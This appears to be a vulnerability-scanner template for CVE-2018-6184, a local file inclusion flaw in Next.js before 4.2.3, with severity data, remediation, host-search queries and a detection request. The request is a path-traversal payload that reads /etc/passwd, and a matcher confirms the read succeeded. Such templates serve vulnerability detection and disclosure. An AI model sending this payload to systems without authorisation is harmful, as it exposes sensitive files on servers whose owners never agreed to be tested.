2023-02-16 10:49:35 +00:00
id : CVE-2018-6184
info :
2023-03-07 21:18:20 +00:00
name : Zeit Next.js <4.2.3 - Local File Inclusion
2023-02-16 10:49:35 +00:00
author : DhiyaneshDK
severity : high
description : |
2023-03-10 20:00:55 +00:00
Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
2023-09-06 12:57:14 +00:00
remediation : |
Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
2023-02-16 10:49:35 +00:00
reference :
- https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
2023-02-17 11:50:17 +00:00
- https://github.com/zeit/next.js/releases/tag/4.2.3
2023-03-07 21:18:20 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-6184
2024-01-29 17:11:14 +00:00
- https://github.com/lnick2023/nicenice
- https://github.com/masasron/vulnerability-research
2023-02-16 10:49:35 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2018-6184
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.00396
2024-05-31 19:23:20 +00:00
epss-percentile : 0.73405
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:zeit:next.js:4.0.0:*:*:*:*:*:*:*
2023-02-16 10:49:35 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : zeit
product : next.js
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"/_next/static"
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
2024-05-31 19:23:20 +00:00
fofa-query : body="/_next/static"
2024-01-14 09:21:50 +00:00
tags : cve2018,cve,nextjs,lfi,traversal,zeit
2023-02-16 10:49:35 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-02-16 10:49:35 +00:00
- method : GET
path :
- "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- "root:.*:0:0:"
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100deb28e2e6f5f15ad5bdd80372351f5156d7b25d7ef2aa9aed9c412750736dbda02200e1297f930472575a4b7c03ffed44e9045dc695cb8db9aa0f21764f5418f7449:922c64590222798bb761d5b6d8e72950